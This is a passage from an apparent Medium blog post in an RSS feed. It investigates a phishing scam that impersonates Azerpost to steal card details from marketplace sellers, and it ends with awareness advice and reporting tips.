“Azerpost” LLC in online marketplaces and social media. By accessing the link, people participating in the game are asked to share it with their friends and send their personal information to receive the cash rewards they have earned. And when the card data is presented, the funds on the account go into the hands of cyber criminals.</em></blockquote><p>Huge thanks to the Azerpost support for a quick response and informative message. Let’s block these sneaky customers and scrutinize the links they’ve sent. Now, if I were to open it in an Incognito tab of my browser (and I must emphasize, do not try this at home):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A-3E7KcoClso1Pqu6-fJeg.png" /></figure><p>Everything seems to be very convenient. I can see all the information about my ‘delivery’, including the name of the receiver, which is even more detailed than our chat provided. There’s also a support chat featuring someone named Alice, though, unfortunately, they’re not very responsive. The domain begins with ‘azerpost’ and the connection is encrypted, evident from the HTTPS and the lock symbol in the address bar. There’s a prominent ‘ALMAQ’ (GET) button and the amount of money specified. To ensure a minimum level of sandboxing and isolation, I’ll open the link in my Kali VM for a deeper investigation (after all, I am a cybersecurity expert, aren’t I?):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZrDOVBubQlU1K-2JpMxdFQ.png" /></figure><p>Remarkably, to receive the money, I was required to enter all my card details, including the CVV (Card security code) and expiration date. It’s highly likely that an OTP (One Time Password) would be requested after entering all the necessary information. Let’s conclude our investigation at this point. Naturally, all the relevant authorities, including Azerpost, have been informed about these scammers.</p><p>Overall, here’s what we’ve uncovered:</p><ul><li>Two fraudulent buyers adept at adapting their approach to gain a victim’s trust.</li><li>A fake website that skillfully mimics the interface and domains of the Azerpost website.</li><li>A scheme aimed at extorting money.</li></ul><p>The pattern we observe:</p><ul><li>Finding ways or connection points to earn the victim’s trust, often through direct conversations, requires persuasive arguments to prompt actions desired by the attacker.</li><li>Creating an illusion that the actions required of the victim are legitimate and safe.</li><li>Leveraging familiar and well-known environments, such as popular logistics companies, banks, or social networks.</li><li>Utilizing programming skills.</li></ul><p>Therefore, do not blindly trust every link you receive, even from friends and family. Always double-check and think twice before responding to avoid falling prey to scammers. In case of suspicion, inform the corresponding companies or even your local Computer Emergency Response Team (CERT). It’s better to err on the side of caution with a false positive than to become a victim of cyberfraud.</p><p>In the second part of this series, we’ll delve into how these deceptive websites are created. [<a href="https://rtolstosheyev.medium.com/social-engineering-going-on-the-attack-b034d2924e6f">Link</a>]</p><p>Stay cyber safe!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1be30c748943" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>